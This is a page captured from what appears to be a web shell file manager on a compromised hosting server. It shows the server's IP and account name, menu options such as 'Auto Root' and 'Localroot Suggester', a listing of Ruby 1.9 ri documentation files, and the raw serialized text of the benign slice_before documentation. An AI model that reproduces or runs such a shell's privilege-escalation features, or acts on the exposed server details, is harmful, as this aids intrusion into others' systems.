Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
share /
ri /
1.9.1 /
system /
Enumerable /
Delete
Unzip
Name
Size
Permission
Date
Action
all%3f-i.ri
900
B
-rw-r--r--
2023-07-26 17:26
any%3f-i.ri
927
B
-rw-r--r--
2023-07-26 17:26
cdesc-Enumerable.ri
1.62
KB
-rw-r--r--
2023-07-26 17:26
chunk-i.ri
3.64
KB
-rw-r--r--
2023-07-26 17:26
collect-i.ri
722
B
-rw-r--r--
2023-07-26 17:26
collect_concat-i.ri
714
B
-rw-r--r--
2023-07-26 17:26
count-i.ri
822
B
-rw-r--r--
2023-07-26 17:26
cycle-i.ri
982
B
-rw-r--r--
2023-07-26 17:26
detect-i.ri
945
B
-rw-r--r--
2023-07-26 17:26
drop-i.ri
434
B
-rw-r--r--
2023-07-26 17:26
drop_while-i.ri
668
B
-rw-r--r--
2023-07-26 17:26
each_cons-i.ri
666
B
-rw-r--r--
2023-07-26 17:26
each_entry-i.ri
814
B
-rw-r--r--
2023-07-26 17:26
each_slice-i.ri
583
B
-rw-r--r--
2023-07-26 17:26
each_with_index-i.ri
785
B
-rw-r--r--
2023-07-26 17:26
each_with_object-i.ri
712
B
-rw-r--r--
2023-07-26 17:26
entries-i.ri
499
B
-rw-r--r--
2023-07-26 17:26
find-i.ri
941
B
-rw-r--r--
2023-07-26 17:26
find_all-i.ri
720
B
-rw-r--r--
2023-07-26 17:26
find_index-i.ri
925
B
-rw-r--r--
2023-07-26 17:26
first-i.ri
701
B
-rw-r--r--
2023-07-26 17:26
flat_map-i.ri
702
B
-rw-r--r--
2023-07-26 17:26
grep-i.ri
829
B
-rw-r--r--
2023-07-26 17:26
group_by-i.ri
633
B
-rw-r--r--
2023-07-26 17:26
include%3f-i.ri
564
B
-rw-r--r--
2023-07-26 17:26
inject-i.ri
1.97
KB
-rw-r--r--
2023-07-26 17:26
map-i.ri
714
B
-rw-r--r--
2023-07-26 17:26
max-i.ri
647
B
-rw-r--r--
2023-07-26 17:26
max_by-i.ri
572
B
-rw-r--r--
2023-07-26 17:26
member%3f-i.ri
562
B
-rw-r--r--
2023-07-26 17:26
min-i.ri
652
B
-rw-r--r--
2023-07-26 17:26
min_by-i.ri
566
B
-rw-r--r--
2023-07-26 17:26
minmax-i.ri
750
B
-rw-r--r--
2023-07-26 17:26
minmax_by-i.ri
672
B
-rw-r--r--
2023-07-26 17:26
none%3f-i.ri
917
B
-rw-r--r--
2023-07-26 17:26
one%3f-i.ri
918
B
-rw-r--r--
2023-07-26 17:26
partition-i.ri
653
B
-rw-r--r--
2023-07-26 17:26
reduce-i.ri
1.97
KB
-rw-r--r--
2023-07-26 17:26
reject-i.ri
604
B
-rw-r--r--
2023-07-26 17:26
reverse_each-i.ri
618
B
-rw-r--r--
2023-07-26 17:26
select-i.ri
716
B
-rw-r--r--
2023-07-26 17:26
slice_before-i.ri
5.1
KB
-rw-r--r--
2023-07-26 17:26
sort-i.ri
910
B
-rw-r--r--
2023-07-26 17:26
sort_by-i.ri
2.87
KB
-rw-r--r--
2023-07-26 17:26
take-i.ri
391
B
-rw-r--r--
2023-07-26 17:26
take_while-i.ri
632
B
-rw-r--r--
2023-07-26 17:26
to_a-i.ri
493
B
-rw-r--r--
2023-07-26 17:26
to_set-i.ri
320
B
-rw-r--r--
2023-07-26 17:26
zip-i.ri
1.09
KB
-rw-r--r--
2023-07-26 17:26
Save
Rename
U:RDoc::AnyMethod[iI"slice_before:ETI"Enumerable#slice_before;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Verbatim; [&I"6Creates an enumerator for each chunked elements. ;FI"FThe beginnings of chunks are defined by _pattern_ and the block. ;FI",If _pattern_ === _elt_ returns true or ;FI"-the block returns true for the element, ;FI"*the element is beginning of a chunk. ;FI" ;FI"LThe === and block is called from the first element to the last element ;FI"of _enum_. ;FI"2The result for the first element is ignored. ;FI" ;FI"NThe result enumerator yields the chunked elements as an array for +each+ ;FI" method. ;FI"-+each+ method can be called as follows. ;FI" ;FI"4 enum.slice_before(pattern).each {|ary| ... } ;FI"9 enum.slice_before {|elt| bool }.each {|ary| ... } ;FI"O enum.slice_before(initial_state) {|elt, state| bool }.each {|ary| ... } ;FI" ;FI">Other methods of Enumerator class and Enumerable module, ;FI")such as map, etc., are also usable. ;FI" ;FI"IFor example, iteration over ChangeLog entries can be implemented as ;FI"follows. ;FI" ;FI") # iterate over ChangeLog entries. ;FI" open("ChangeLog") {|f| ;FI"0 f.slice_before(/\A\S/).each {|e| pp e} ;FI" } ;FI" ;FI"D # same as above. block is used instead of pattern argument. ;FI" open("ChangeLog") {|f| ;FI"B f.slice_before {|line| /\A\S/ === line }.each {|e| pp e} ;FI" } ;Fo:RDoc::Markup::Paragraph; [I"?"svn proplist -R" produces multiline output for each file.;TI"$They can be chunked as follows:;To:RDoc::Markup::BlankLine o; ; [BI"A IO.popen([{"LC_ALL"=>"C"}, "svn", "proplist", "-R"]) {|f| ;FI"@ f.lines.slice_before(/\AProp/).each {|lines| p lines } ;FI" } ;FI"G #=> ["Properties on '.':\n", " svn:ignore\n", " svk:merge\n"] ;FI"@ # ["Properties on 'goruby.c':\n", " svn:eol-style\n"] ;FI"V # ["Properties on 'complex.c':\n", " svn:mime-type\n", " svn:eol-style\n"] ;FI"B # ["Properties on 'regparse.c':\n", " svn:eol-style\n"] ;FI" # ... ;FI" ;FI"BIf the block needs to maintain state over multiple elements, ;FI""local variables can be used. ;FI"OFor example, three or more consecutive increasing numbers can be squashed ;FI"as follows: ;FI" ;FI" a = [0,2,3,4,6,7,9] ;FI" prev = a[0] ;FI" p a.slice_before {|e| ;FI" prev, prev2 = e, prev ;FI" prev2 + 1 != e ;FI" }.map {|es| ;FI"B es.length <= 2 ? es.join(",") : "#{es.first}-#{es.last}" ;FI" }.join(",") ;FI" #=> "0,2-4,6,7,9" ;FI" ;FI"CHowever local variables are not appropriate to maintain state ;FI"5if the result enumerator is used twice or more. ;FI"KIn such case, the last state of the 1st +each+ is used in 2nd +each+. ;FI"A_initial_state_ argument can be used to avoid this problem. ;FI"3If non-nil value is given as _initial_state_, ;FI"Kit is duplicated for each "each" method invocation of the enumerator. ;FI"FThe duplicated object is passed to 2nd argument of the block for ;FI"+slice_before+ method. ;FI" ;FI" # word wrapping. ;FI"6 # this assumes all characters have same width. ;FI"% def wordwrap(words, maxwidth) ;FI"Q # if cols is a local variable, 2nd "each" may start with non-zero cols. ;FI"- words.slice_before(cols: 0) {|w, h| ;FI"* h[:cols] += 1 if h[:cols] != 0 ;FI" h[:cols] += w.length ;FI"" if maxwidth < h[:cols] ;FI"! h[:cols] = w.length ;FI" true ;FI" else ;FI" false ;FI" end ;FI" } ;FI" end ;FI"% text = (1..20).to_a.join(" ") ;FI". enum = wordwrap(text.split(/\s+/), 10) ;FI" puts "-"*10 ;FI"+ enum.each {|ws| puts ws.join(" ") } ;FI" puts "-"*10 ;FI" #=> ---------- ;FI" # 1 2 3 4 5 ;FI" # 6 7 8 9 10 ;FI" # 11 12 13 ;FI" # 14 15 16 ;FI" # 17 18 19 ;FI" # 20 ;FI" # ---------- ;Fo;; [I"Cmbox contains series of mails which start with Unix From line.;TI"BSo each mail can be extracted by slice before Unix From line.;T@2o; ; [!I"# parse mbox ;FI"open("mbox") {|f| ;FI" f.slice_before {|line| ;FI"" line.start_with? "From " ;FI" }.each {|mail| ;FI" unix_from = mail.shift ;FI" i = mail.index("\n") ;FI" header = mail[0...i] ;FI" body = mail[(i+1)..-1] ;FI"' body.pop if body.last == "\n" ;FI"N fields = header.slice_before {|line| !" \t".include?(line[0]) }.to_a ;FI" p unix_from ;FI" pp fields ;FI" pp body ;FI" } ;FI"} ;FI" ;FI"M# split mails in mbox (slice before Unix From line after an empty line) ;FI"open("mbox") {|f| ;FI"+ f.slice_before(emp: true) {|line,h| ;FI" prevemp = h[:emp] ;FI" h[:emp] = line == "\n" ;FI". prevemp && line.start_with?("From ") ;FI" }.each {|mail| ;FI"' mail.pop if mail.last == "\n" ;FI" pp mail ;FI" } ;FI"};F: @file0I"�enum.slice_before(pattern) -> an_enumerator enum.slice_before {|elt| bool } -> an_enumerator enum.slice_before(initial_state) {|elt, state| bool } -> an_enumerator ;T0[ I"(p1 = v1);FI"enum.c;T